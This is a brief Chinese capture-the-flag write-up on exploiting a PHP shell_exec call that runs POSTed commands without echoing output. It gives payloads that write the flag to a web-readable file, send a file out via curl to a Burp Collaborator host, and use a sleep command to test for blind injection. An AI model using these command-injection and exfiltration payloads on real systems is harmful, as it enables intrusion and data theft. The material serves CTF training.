遇到shell_exec()函数无回显执行,比如:

1
2
3
 <?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

在PHP中 “>” 是表示把什么写入什么文件的意思。

比如这道题目,既然无回显,那我就把它写进一个文件,然后访问这个文件不就可以了。

可以使用burp上的Collaborator抓取。

以上题为例,详细抓取步骤:

先将无回显的内容保存在一个文件里,post以下:

1
cmd=cat /f* > 2.txt

这样有了一个文件2.txt,其中是执行了cat /f* 命令的结果,接下来抓取该文件就能看到了。

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)

获取Collaborator Client分配给BURP的链接:

打开Burp主界面 -->菜单(Burp)–>Burp Collaboraor Client – > 点击 Copy to Clipboard

(获取后的链接要手动加上http://,xx=@+要提取的文件)

1
cmd=curl -X POST -F xx=@1.txt http://j6qb1ixdl8li829ybr7wxkuzwq2hqbe0.oastify.com

抓取结果如下:

对于这类题还有个很简单的方法,直接将flag写进文件,然后路径读取就行

先测试一下能不能执行 cmd=1;sleep 4

发现反应了4秒,能执行

然后直接 cat /f* > 1.txt

最后访问/1.txt路径就行